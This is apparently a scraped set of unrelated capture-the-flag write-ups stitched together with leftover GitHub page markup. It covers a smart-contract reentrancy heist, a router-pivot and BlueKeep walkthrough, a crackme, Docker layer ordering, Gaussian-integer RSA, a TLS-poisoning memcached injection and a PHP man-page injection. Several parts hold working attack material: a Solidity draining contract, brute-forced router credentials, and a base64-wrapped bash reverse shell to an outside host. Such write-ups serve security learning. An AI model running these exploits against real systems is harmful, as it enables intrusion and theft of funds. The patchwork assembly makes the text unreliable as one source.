</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Industrial network.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>IoT 2.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>IoT.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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# HTB x Uni CTF 2020: moneyHeist
  
## Flag```HTB{Th3_D4ng3R_0f_Re3nTr4ncY}```
## Detailed solution
After starting and visiting the page of the challenge, we are greeted with the source code of a smart contract, as well as it's ABI code and the address it is deployed at.
[REDUCTED]
Taking a look at the code, we see that we are able to perform the following operations:
1. Create an account,2. Check the balance of an account,3. Change the balances noted by the contract, only if we are in the middle of a withdrawal process,4. Transfer ether between accounts5. Make a withdrawal, and last but not least,6. Close our account.
```solidityfunction dailyWithdrawalRequest(uint transferAmount) public { require(transferAmount <= possibleWithdrawalPerDay); require(bankRobberAccount[msg.sender] >= transferAmount); require(isAccountActive[msg.sender] == true); require(hasAlreadyWithdrawn[msg.sender] == false); inWithdrawalProcess[msg.sender] = true; (bool isSuccessfulTransfer,) = msg.sender.call.value(transferAmount)(""); require(isSuccessfulTransfer); fundsMovementProcess(address(this),msg.sender,transferAmount,1); hasAlreadyWithdrawn[msg.sender] = true; inWithdrawalProcess[msg.sender] = false;}
function closeBankAccount() public { require(isAccountActive[msg.sender] == true); (bool isSuccessfulTransfer,) = msg.sender.call.value(bankRobberAccount[msg.sender])(""); require(isSuccessfulTransfer); bankRobberAccount[msg.sender] = 0; isAccountActive[msg.sender] = false; }}```
We can see that both the `dailyWithdrawalRequest` and the `closeBankAccount` methods might be vulnerable to a reentrancy attack, caused by the `msg.sender.call.value()()` calls.
```solidityfunction dailyWithdrawalRequest(uint transferAmount) public { require(transferAmount <= possibleWithdrawalPerDay);```
Starting with `dailyWithdrawalRequest`, first off, we can pass the amount we want to withdraw. This amount will then be checked against the `possibleWithdrawalPerDay` variable, which limits the amount we can withdraw to 0.001 ether per day.
```solidity require(bankRobberAccount[msg.sender] >= transferAmount);```
Then, it checks whether the account of the sender has sufficient amount of ether to cover the withdrawal. This means that once we create our account, we will need to pass some ether to the contract, and that then, our transactions will have to be less or equal to the original amount we transfered to the contract, just to pass this first check.
```solidity require(isAccountActive[msg.sender] == true); require(hasAlreadyWithdrawn[msg.sender] == false);```The next two checks are to ensure that our account is actuve and that we have not already withdrawn for the day.
```solidity inWithdrawalProcess[msg.sender] = true; (bool isSuccessfulTransfer,) = msg.sender.call.value(transferAmount)("");```
After changing a flag to indicate we are currently in a withdrawal process (which will allow the `fundsMovementProcess` method that will update the arrays holding each accounts' information to run), the contract is calling the sender in order to send it the required amount.
```solidity require(isSuccessfulTransfer); fundsMovementProcess(address(this),msg.sender,transferAmount,1); hasAlreadyWithdrawn[msg.sender] = true; inWithdrawalProcess[msg.sender] = false;}```
The catch here is that (other than the use of `msg.sender.call`), any changes to the contract's state are done after the actual transaction, meaning reentrancy is indeed possible.
Even though we could actually try and attack this method, after a closer look at the `closeBankAccount` method, we can see that since it is transfering the full amount of our account back to us before updating any variables, it is way easier to attack that method instead, mostly because of the smaller amount of moving parts when the method is called:
```solidityfunction closeBankAccount() public { require(isAccountActive[msg.sender] == true); (bool isSuccessfulTransfer,) = msg.sender.call.value(bankRobberAccount[msg.sender])(""); require(isSuccessfulTransfer); bankRobberAccount[msg.sender] = 0; isAccountActive[msg.sender] = false;}```
The only check done here is whether our account is active.
This means we first have to create an account, passing it some ether, and then close it, which will result to the amount of ether we passed to it, being sent back to us. The catch here is that if we do this from a smart contract, the fallback method of which also calls the `closeBankAccount` method, it'll be able to call it recursively before the Bank contract is even able to make any updates internally, since every previous call to the method will be blocked until `msg.sender.call` returns. Every time this happens, the same amount of ether we initially passed to the contract will be sent to us.
Great, we now know how we can attack it. Since the objective of the challenge is to empty to Bank contract from ether, we also know that the original amount we pass to the contract, should be a multiple of the ether in the contract.
Time for an exploit.
```solidityimport "./moneyHeist.sol";
contract HTBUniCTF { address private _owner; address private _vulnAddr = 0xb058e8De325AD37d3D978B4e391194dc4388F8b3; moneyHeist public vul = moneyHeist(_vulnAddr); bool private accCreated = false; int private count = 0; constructor() public payable { _owner = msg.sender; } fallback() external payable { if (accCreated){ if (address(vul).balance != 0){ vul.closeBankAccount(); }
} } function init() public payable { vul.createNewAccount.value(0.001 ether)(); accCreated = true; } function exploit() public { vul.closeBankAccount(); } function payday() public { _owner.transfer(address(this).balance); }}```
What's happening here is that first, when we deploy the contract, it will keep our address so we can then tranfer its balance back to us.
When we call the `init` method, it will create an account to the moneyHeist contract, passing it 0.001 ether.
Then, when we call `exploit`, it will call `closeBankAccount`. This will cause our fallback method to be called midway the `closeBankAccount` execution, before the Bank contract actually deletes our account or sets our account balance to zero. This means that every time we call `closeBankAccount`, it will transfer the same amount, again and again, until the contract's balance reaches zero. Then, every call will change our internal balance to zero, since no complex check is done that could revert our transactions.
Our contract before the attack:
Our contract after the attack (screenshot taken at a later time):
Attack transaction:
Bank contract internal transactions:
Bank contract after the attack:
All your Ether are belong to us. |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>RaziCTF 2020</span></span><span>/</span><span><span>Steganography</span></span><span>/</span>RhazeS<span>/</span> </div> </div>
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<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/RaziCTF%202020/Steganography/RhazeS" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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# Network01### DescriptionA vulnerable program is disclosed by an employee.Please find me. I hide in a organization's network.### Summary- Externally exploit PWN service to take control of the device and then scan the network topology. Bruteforce to hijack the router. After gaining control of the router, exploit RDP vulnerability in WINDOWS 7 device and capture the flag.### Network topology
##### Step 1: Exploit the pwn challenge provided by the Organiser- After penetrating the server, it is easy to see the secret file which reads the credentials to the device
##### Step 2: Scan internal network range- After taking over the Ubuntu device, scan the network range.- Netdiscover/nmap will result in Router X (IP 10.0.255.51)- Bruteforce to get the router's account. After finding out the account “***admin/271206***", access the router and do the following commands: *Show ip interface brief, Show ip route, Show arp, Show access-list, and so on.*- Scan other devices in the same network range for Router Y and Router Z based on ICMP Reply and the information in the ARP table of Router X. Router Y and Router Z have the same account details as Router X with “***admin/271206***”- Add route to access Y, Z
```bashIp route add 10.0.0.0/16 via 10.0.255.51 dev eth0```and run the same commands:* Show ip interface brief, Show ip route, Show arp, Show access-list, Show access-list, etc. *- You will see PC-Admin (192.168.205.7) from Router Z##### Step 3: RCE WIN 7 through RDP- From Router Z, perform NAT WIN 7 (PC-Admin (192.168.205.7) so that Ubuntu can be connected to WIN7```bashZ#configure terminalZ(config)# ip nat inside source static 192.168.205.7 10.0.13.7Z(config)# interface e0/0ip nat outsideZ(config)# interface e0/2ip nat inside
```
- RDP ms2019-0708 vulnerability exists in the device.- On completing the exploitation, you will see the flag.txt file in windows/system32.- Flag is “Cr4cK1nG_aNd_H4ck1nG_1s_L34rn1nG”
Done! |
# REGISTERE ME
```This program needs to be activated
Can you figure out how to do it?```
- File : [registereme.exe](https://github.com/Pynard/writeups/raw/main/2020/BRIXEL/attachements/registereme/registerme.exe)
```$ r2 registereme.exe[0x004011dc]> aaaa[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Check for objc referencesWarning: aao experimental on 32bit binaries[x] Check for vtables[x] Type matching analysis for all functions (aaft)[x] Propagate noreturn information[x] Use -AA or aaaa to perform additional experimental analysis.[x] Finding function preludes[x] Enable constraint types analysis for variables[0x004011dc]> s fcn.00402320[0x00402320]> pdf[...]│ 0x00402695 8d4dd8 lea ecx, [var_28h]│ 0x00402698 6a62 push 0x62 ; 'b' ; 98│ 0x0040269a 51 push ecx│ 0x0040269b ffd6 call esi│ 0x0040269d 8d55c8 lea edx, [var_38h]│ 0x004026a0 6a72 push 0x72 ; 'r' ; 114│ 0x004026a2 52 push edx│ 0x004026a3 ffd6 call esi│ 0x004026a5 8d45a8 lea eax, [var_58h]│ 0x004026a8 6a69 push 0x69 ; 'i' ; 105│ 0x004026aa 50 push eax│ 0x004026ab ffd6 call esi│ 0x004026ad 8d4d88 lea ecx, [var_78h]│ 0x004026b0 6a78 push 0x78 ; 'x' ; 120│ 0x004026b2 51 push ecx│ 0x004026b3 ffd6 call esi│ 0x004026b5 8d9568ffffff lea edx, [var_98h]│ 0x004026bb 6a65 push 0x65 ; 'e' ; 101│ 0x004026bd 52 push edx│ 0x004026be ffd6 call esi│ 0x004026c0 8d8548ffffff lea eax, [var_b8h]│ 0x004026c6 6a6c push 0x6c ; 'l' ; 108│ 0x004026c8 50 push eax│ 0x004026c9 ffd6 call esi│ 0x004026cb 8d8d28ffffff lea ecx, [var_d8h]│ 0x004026d1 6a43 push 0x43 ; 'C' ; 67│ 0x004026d3 51 push ecx│ 0x004026d4 ffd6 call esi│ 0x004026d6 8d9508ffffff lea edx, [var_f8h]│ 0x004026dc 6a54 push 0x54 ; 'T' ; 84│ 0x004026de 52 push edx│ 0x004026df ffd6 call esi│ 0x004026e1 8d85e8feffff lea eax, [var_118h]│ 0x004026e7 6a46 push 0x46 ; 'F' ; 70│ 0x004026e9 50 push eax│ 0x004026ea ffd6 call esi│ 0x004026ec 8d8dc8feffff lea ecx, [var_138h]│ 0x004026f2 6a7b push 0x7b ; '{' ; 123│ 0x004026f4 51 push ecx│ 0x004026f5 ffd6 call esi│ 0x004026f7 8d95a8feffff lea edx, [var_158h]│ 0x004026fd 6a66 push 0x66 ; 'f' ; 102│ 0x004026ff 52 push edx│ 0x00402700 ffd6 call esi│ 0x00402702 8d8588feffff lea eax, [var_178h]│ 0x00402708 6a31 push 0x31 ; '1' ; 49│ 0x0040270a 50 push eax│ 0x0040270b ffd6 call esi│ 0x0040270d 8d8d68feffff lea ecx, [var_198h]│ 0x00402713 6a6c push 0x6c ; 'l' ; 108│ 0x00402715 51 push ecx│ 0x00402716 ffd6 call esi│ 0x00402718 8d9548feffff lea edx, [var_1b8h]│ 0x0040271e 6a33 push 0x33 ; '3' ; 51│ 0x00402720 52 push edx│ 0x00402721 ffd6 call esi│ 0x00402723 8d8528feffff lea eax, [var_1d8h]│ 0x00402729 6a34 push 0x34 ; '4' ; 52│ 0x0040272b 50 push eax│ 0x0040272c ffd6 call esi│ 0x0040272e 6a63 push 0x63 ; 'c' ; 99│ 0x00402730 8d8d08feffff lea ecx, [var_1f8h]│ 0x00402736 51 push ecx│ 0x00402737 ffd6 call esi│ 0x00402739 8d95e8fdffff lea edx, [var_218h]│ 0x0040273f 6a63 push 0x63 ; 'c' ; 99│ 0x00402741 52 push edx│ 0x00402742 ffd6 call esi│ 0x00402744 8d85c8fdffff lea eax, [var_238h]│ 0x0040274a 6a33 push 0x33 ; '3' ; 51│ 0x0040274c 50 push eax│ 0x0040274d ffd6 call esi│ 0x0040274f 8d8da8fdffff lea ecx, [var_258h]│ 0x00402755 6a73 push 0x73 ; 's' ; 115│ 0x00402757 51 push ecx│ 0x00402758 ffd6 call esi│ 0x0040275a 8d9588fdffff lea edx, [var_278h]│ 0x00402760 6a73 push 0x73 ; 's' ; 115│ 0x00402762 52 push edx│ 0x00402763 ffd6 call esi│ 0x00402765 8d8568fdffff lea eax, [var_298h]│ 0x0040276b 6a7d push 0x7d ; '}' ; 125│ 0x0040276d 50 push eax│ 0x0040276e ffd6 call esi[...]```
Thanks **radare2** :)
flag : `brixelCTF{f1l34cc3ss}` |
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The challenge was to fix a broken Docker tar archive.
The order of layers in the Docker image must be determined for the `flag.sh` script to print the flag. Multiple files, from different layers, are concatenated together to print the flag. Because some of these files are deleted or replace other files, an incorrect ordering of layers will print the wrong flag.
`manfiest.json`:
```{ "Layers": [ "2354d65e014cbe530f9695dbe3faf8ac84d85d7ad91f5d46ba8ef3fc0cd88d95\/layer.tar", "4337e82a87b98a9c74a8328f7059baf04a2ad31081c9893c5f37d4dd85137988\/layer.tar", "7204dd4cdfd9b6d29a095cf1fd3b2e7efe366f191c31a75df4ea8e9f47a70801\/layer.tar", "c843887778784dad565b239aa712a3228d9a878f2d3f129f3ab7341a84f11910\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", ... "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "b94e5d83dbbff95e883f0f53bcf47c017471b13d81325697be6e22cdc8c369aa\/layer.tar", "24d12bbeb0a9fd321a8decc0c544f84bf1f6fc2fd69fa043602e012e3ee6558b\/layer.tar" ], ...}```
A file isn't deleted from a layer unless it was already created by a previous layer, this makes it possible to solve a dependency tree of the layers (this is what most solutions to this challenge did).
However, a much simpler solution is possible: sort the docker tar layers by mtime timestamp. The files created in the docker tar layers have different timestamps, accurate to one second. Except for two pairs of files, all the timestamps are unique. These two pairs can be resolved manually.
1. Find the newest timestamp in each layer2. Sort layers by their newest timestamp3. Reconstruct the tarball with this layer order
Solution:https://gist.github.com/bburky/58edd7ce00cd4405429269695568fe2c |
# Unimplemented (Crypto - 100 pts)
Tl;dr:- This is RSA in the field of Gaussian integers, similar to a Crypto CTF 2019 challenge: [https://ctftime.org/writeup/16100](https://ctftime.org/writeup/16100)- A paper explaining the concept with the formular for phi is here: [Modified RSA in the Domains of Gaussian Integers(https://www.semanticscholar.org/paper/Modified-RSA-in-the-Domains-of-Gaussian-Integers-El-Kassar-Haraty/4c80b6607181f06c396f91e3e385d3416adc8a63)- Phi is calculated as: `p*p*(p*p-1)*q*q*(q*q-1)`- Full solver code: [unimplemented_solve.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2021/TetCTF/Unimplemented/unimplemented_solve.py)- Flag:```b'}\xb0\x10\x05\x1e\xe3\xb4/\x1aoJn\xdd)\xa1Z\xe9\x0b\xee\x81,\x1e\xf7\xebp\xe2\xe0\x98\xf9\x1a\xbd5[LK\x02M\x84\xb2\xa6;D\x1e\x1a\n~Go\xb9\xbcY\x0fX=\xcd/\xb0W$\x14\xe2|\xea\xe1\x11\xda\xea\xbd\xed\xa7\x7f\xaap"\x85>\xfe\xff\xa8\xfe\x15\xd2\x8c\xe6\xeaT!&K\x1cK`z,?64\x11{U\xecM4\x15\x14\xc0\xd9\xa7\x7f\xd7\x89F\t\x8f\xf7Z;\xb6\x8f\xe6\xcc\xe9\t\x08\xd1\xac\xbb\xd8\xbb\xa3>\x99fK\xdd\xd9\x99c\xa1_\xb1091\xc5\xd6\xcc\xe4z\xd8\xb9\x0f0\xed\x15\xd9x1\xce\xcc\x99\xebu\xc4(\xfb\x88i/\xfba\xa9\x1c\x9a\xa5,j\x84<\x7f\xae\xbc\xdf.`\xff\x04\x9d#\x86B\t4\xbe\xd0\xbf!6 \x06\xa2\r1~Z\xc3\xf1\xf5\x87n\xa3\xfa\xd4\xd1\xa8\x81?\xb2#\x82\xf5\x8e\xd7\x98n\x04\xb0\xccT\xe8\xfb\xad5t\x1c\xba\x19\xea\xb7\xd4\x8d\xe0g\xb3\x94P\x8e\xe4p \x80m\x00\xba\xef=\xe9\x16\x94jd\xc01j\x8a\xd0\xad~.\xea\xad\x8c\xb0\xfc\xe4\xc5\x91\x1c\x80\xef\xdb|7\'Nh\xb8\xeb\xa8\xc2\x1aL\xc3\x14\x8a\x83\xec\xa8\xd4I\xe0\xc7\x8c\x97u\x90w\xae\xe5\x02\xa9\x9b~\x05/p\xcd\x12\xcaA/W5\xef\xd6\xa1\x85\xaf\xb2\x04\xe2O\xb9I!\xba\x1c,]o\xc3\r\xe7\x84\xa7\xad7W03w\x92\xa5\xfc\xb6\xf9\xc4\xed|\xf3\x8c\xdd\xbdrcS\x8a\xea\xab\xd0\xa1\xe6\xff\xf5F4\xb8g\xe6\x08\xf8\x899\x06\xea\x16F6\rY6\x82\xd5\x85\xaa\'Y\xb9a\x12\x95Z*y<\xfc\x9a\x9d{7G<\xe5\xc83\xa0\xca\xef\xd0,\xca\xbf\xc1Zxm\xc5\xb5\xe7\xdfq\x1e\xc1\xf5*C\x86\x1c\xcd \\Q\x10\x00TetCTF{c0unt1ng_1s_n0t_4lw4ys_34sy-vina:*100*48012023578024#}'```(Unpad function is broken, but I don't bother to fix it :P) |
This is a "security scanner" in PHP which, given a URL of a git repository, applies a heuristic algorithm that checks if thereany security vulnerabilites in the code:```phpif(TRUE) { // patented algorithm (tm) echo 'Likely insecure :('; }```...hard to argue with that!
Once again, our goal is to execute the `/readflag` binary on the server to read the flag.
The PHP application visits the given URL twice: 1. (using `file_get_contents(URL)`) To validate that this is a legitimate git server. The validation results for all URLs are stored in memcached. 2. (using `git ls-remote`) To actually fetch the tags of the repository.
Here's a visualization of what happens when we put a legitimate git repository in the scanner:
Since `git ls-remote` is run with `exec()`, a rogue "URL" in memcached is an instant Game Over for the challenge authors:
How can we successfully "validate" `;/readflag`, though? Initially it seems like we can't, because: 1. A valid URL should match `/^[0-9a-zA-Z:\.\/-]{1,64}$/`, and `;/readflag` definitely doesn't. The code uses `preg_match()`, so we can't use UTF-8 shenanigans as in [heiko](shenanigans), either. 2. Even if the regular expression matched, `;/readflag` is not a valid URL that `file_get_contents()` would recognize. The good news is the memcached protocol is [notoriously vulnerable](https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf) to injections.Essentially, if we can make either `file_get_contents()` or `git ls-remote` connect to `127.0.0.1:11211` and send some `\r\n`'s, we win.
Smuggling CRLFs into memcached proves to be surprisingly tricky: * HTTP(S) implementations both in PHP and libcurl (which is what `git` uses under the hood) have protections against request splitting and won't let us use `\r\n` in a valid HTTP request. We tried various ways, and none of those worked. * FTP is of not much help here, unlike in [resonator](https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/heiko). While we still redirect the FTP client to 127.0.0.1, this time we can only retrieve data, not store it. * Smuggling newlines in the FTP username fails, too, due to the regexp that validates the URL.
Just when it seems that all hope is lost, [TLS Poison](https://github.com/jmdx/TLS-poison) appears! Brifely, a TLS server mayset a session ID for the client, which the client may pass to the server on subsequent connections to re-use the same premastersecret they had used before to encrypt the traffic. This ID is stored in the clear in the very first TLS handshake packet the clientsends to the server.
However, most TLS stacks only look at the host/port when determining ifa session ID should be reused. This means that if a malicious HTTPS server redirects the client to itself, but the same host now suddenlyresolves to `127.0.0.1`, the client will still happily send the session ID to whatever local service is listening locally on this port(spoler: it's memcached). The session ID is just random 32 bytes, so we can easily pack `\r\n` into it.
`file_get_contents()` in PHP doesn't seem to re-use TLS session IDs, so our implementation of this attack targets git/libcurland does it little bit differently from vanilla TLS Poison:
First, a [custom rustls fork](https://github.com/jmdx/TLS-poison/tree/master/rustls) is an overkill for CTF purposes. If we're willingto cut some corners (e.g., don't use ephemeral Diffie-Hellman or any extensions), we can create a simple TLS server in [~200 line of Python](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/security%20scanner/fake_git.py#L196).
Second, libcurl aggressively caches DNS lookup results for 60 seconds, even for DNS records with zero TTL. This meansthe standard DNS rebinding technique doesn't work, since curl will just reconnect to the same server after a HTTP redirect.To overcome this, we return two A records for our fake git servers: the first one is a real IP address, the second one is `0.0.0.0` (incidentally, this means we don't really need a custom DNS resolver at all, but hey, it's only [~100 lines](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/security%20scanner/fake_dns.py) of Python). After serving the HTTP redirect, we immediately shutdown the server, so that libcurl thinks it's dead and tries `0.0.0.0` instead, which will lead it to memcached.
Note that we can't return an A record with `127.0.0.1` directly. `getaddrinfo()`reorders IPv4 addresses according to section 3.2 of [RFC 3484](https://www.ietf.org/rfc/rfc3484.txt), which results in libcurl ignoring the real IP address and always connecting to `127.0.0.1`.
Armed with fake DNS and fake TLS, we [obtain the flag](https://github.com/dfyz/ctf-writeups/blob/master/hxp-2020/security%20scanner/exploit.py):```PS> python .\exploit.py [REDACTED_IP]Got PHP cookie 3kdatudleb9qsarh0gbinjatq3 and sandbox id TkUroC3hS68xigPoisoning memcachedMemcached is poisoned, reading flaghxp{Bundesamt_fuer_Sicherheit_in_der_Informationstechnik_(_lol_)_would_approve}```
For completeness, here is the output from FakeGIT:```Welcome to FakeGITGot a connection from [REDACTED]Got client helloSent server hello with session id b''Sent 2 certificatesSent server hello doneGot a premaster secretGot client finishedSent server finished, the connection is readyGot a message of length 118This is PHP! Showing them something that looks like a git repo and stealing sandbox IDGot sandbox id: b'NE+\xa0-\xe1K\xaf1\x8a', session_id: b'\r\nset NE+\xa0-\xe1K\xaf1\x8a;/r* 0 0 2\r\nOK\r\n'Sent a message of length 118Got a connection from [REDACTED]Got client helloSent server hello with session id b'\r\nset NE+\xa0-\xe1K\xaf1\x8a;/r* 0 0 2\r\nOK\r\n'Sent 2 certificatesSent server hello doneGot a premaster secretGot client finishedSent server finished, the connection is readyGot a message of length 186This is git! Redirecting it back to memcached and shutting downSent a message of length 138Laying low for 5 seconds so that the git client doesn't reconnect to usWelcome to FakeGIT```
P.S. Some of the minor details were omitted for clarity in this writeup: * the memcached instance was shared between the teams during the CTF, so the security scanner prepends a "sandbox ID" at the beginning of memcached keys. The sandbox ID is different for each team and is stored in the PHP session; * with the sandbox ID in place, `;/readflag` is actually too long to fit in the TLS session id and has to be shortened to `;/r*` (we're lucky that there are no other binaries starting with `r` in `/`). * the organizers told us the intended solution for this challenge was using FTPS instead of HTTPS. This is left as an exercise for the reader. :-) |
This challenge is a PHP application that renders the man page for a given command as HTML. The command is taken from the query string and passed as an argument to `/usr/bin/man` via `shell_exec()`:```php$arg = $_GET['page'];[...]$manpage = shell_exec('/usr/bin/man --troff-device=html --encoding=UTF-8 ' . $arg);```
This would be a straight-up RCE, if it wasn't for an ad-hoc query sanitizer slapped on top of this:
1. Quotes of all kinds are stripped right away: `$arg = mb_ereg_replace('["\']', '', $arg);`.2. If there are non-word characters at the beggining of a token (`if (mb_ereg('(^|\\s+)\W+', $arg) [...] ) {`), they are also stripped: `$arg = mb_ereg_replace('(^|\\s+)\W+', '\\1', $arg);`. This prevents us from passing additional funny `-Options` or `--options` to `/usr/bin/man`.3. Finally, `$arg = escapeshellcmd($arg)` escapes pretty much everything we could use in a shell command for malicious purposes.
At first glance, this seems surprisingly solid. But, unfortunately for the author of the sanitizer and fortunately for us, the challenge tries to use UTF-8:```phpmb_regex_encoding('utf-8') or die('Invalid encoding');mb_internal_encoding('utf-8') or die('Invalid encoding');setlocale(LC_CTYPE, 'en_US.utf8');```
In fact, strings in PHP are just old-school byte sequences. All `mb_internal_encoding()/mb_regex_encoding()` do is simply set the `encoding` parameters for `mb_*` functions, which will then handle the bytes accordingly. If the bytes we provide to these functions are not actually valid UTF-8, well, tough luck:```php this is incorrect UTF-8 $invalid_utf8 = "\xca" . $valid_utf8;
// The original valid UTF-8 triggers the sanitizer, // so this prints "Uh-oh, busted.". if (mb_ereg("(^|\\s+)\W+", $valid_utf8)) { echo "Uh-oh, busted.", PHP_EOL; } else { echo "Go ahead.", PHP_EOL; }
// However, regular expression functions silently fail // on invalid UTF-8, which means this prints "Go ahead." if (mb_ereg("(^|\\s+)\W+", $invalid_utf8)) { echo "Uh-oh, busted.", PHP_EOL; } else { echo "Go ahead.", PHP_EOL; }
// After that, escapeshellcmd() simply drops the invalid character, // which is exactly what we want (i.e., this prints "bool(true)"). var_dump($valid_utf8 === escapeshellcmd($invalid_utf8));?>```
Great, so this allows us to smuggle an additional option to `/usr/bin/man`. There are plenty to choose from; the most obvious one is `-H`, which allows us to specify a web browser to view the man page. `escapeshellcmd()` still escapes everything, but that actually works for us, not against: * the shell that PHP runs to execute `/usr/bin/man` sees escaped characters, so they are not interpreted in any way and are just passed to the `-H` option of `/usr/bin/man` directly; * however, *the shell that `/usr/bin/man` itself spawns to invoke the browser* sees unescaped characters. This means we can use [the standard bash payload](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp) to obtain a reverse shell. We only need to ensure we avoid spaces (they are not quoted by `escapeshellcmd()`, but can be replaced with `${IFS}`) and quotes (they are stripped unconditionally; we can base64-encode our payload to bypass this):```pythonREV_SHELL = 'bash -i >& /dev/tcp/`getent hosts cursed.page | cut -d" " -f1`/31337 0>&1'SAFE_REV_SHELL = f'echo {base64.b64encode(REV_SHELL.encode()).decode()} | base64 -d | bash'.replace(' ', '${IFS}')CGI_READY_REV_SHELL = b'\xca-H' + SAFE_REV_SHELL.encode() + b'; id'
[...]
requests.get(URL, params={ 'page': CGI_READY_REV_SHELL,})```
This is not the end of it, because we still can't read the flag even with a shell:```PS> python .\get_shell.py [REDACTED_IP][...]$ nc -lv 31337Listening on [0.0.0.0] (family 2, port 31337)Connection from [REDACTED_IP] received!bash: cannot set terminal process group (17): Inappropriate ioctl for devicebash: no job control in this shellwww-data@b5c29be1eabd:~/html$ ls -lh /ls -lh /ls: cannot open directory '/': Permission denied```
The flag is stored in `/`, but its basename is 24 random characters, which is unguessable. And the AppArmor policy for `/usr/bin/man` allows us to list files in any directory *except* the root one:```www-data@b5c29be1eabd:~/html$ cat /etc/apparmor.d/usr.bin.man[...]/** mrixwlk,[...]```
